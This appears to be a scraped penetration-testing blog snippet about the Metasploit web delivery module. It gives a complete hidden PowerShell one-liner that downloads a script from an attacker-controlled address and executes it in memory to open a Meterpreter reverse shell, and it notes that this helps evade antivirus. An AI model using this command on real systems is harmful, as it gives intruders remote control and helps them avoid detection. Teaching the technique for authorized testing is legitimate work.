This module quickly fires up a web server that serves a payload. The
provided command will start the specified scripting language
interpreter and then download and execute the payload. The main
purpose of this module is to quickly establish a session on a target
machine when the attacker has to manually type in the command
himself, e.g. Command Injection, RDP Session, Local Access or maybe
Remote Command Exec. This attack vector does not write to disk so it
is less likely to trigger AV solutions and will allow privilege
escalations supplied by Meterpreter. When using either of the PSH
targets, ensure the payload architecture matches the target computer
or use SYSWOW64 powershell.exe to execute x86 payloads on x64
machines.
This time we use a PowerShell Script that we execute on the client machine with a Reverse TCP Payload and thus we spawn a Meterpreter Shell.
Command Used:
powershell.exe -nop -w hidden -c $v=new-object net.webclient;$v.proxy=[Net.WebRequest]::GetSystemWebProxy();$v.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $v.downloadstring('http://192.168.0.100:8080/');
How to run :
proof of concept :
Posts
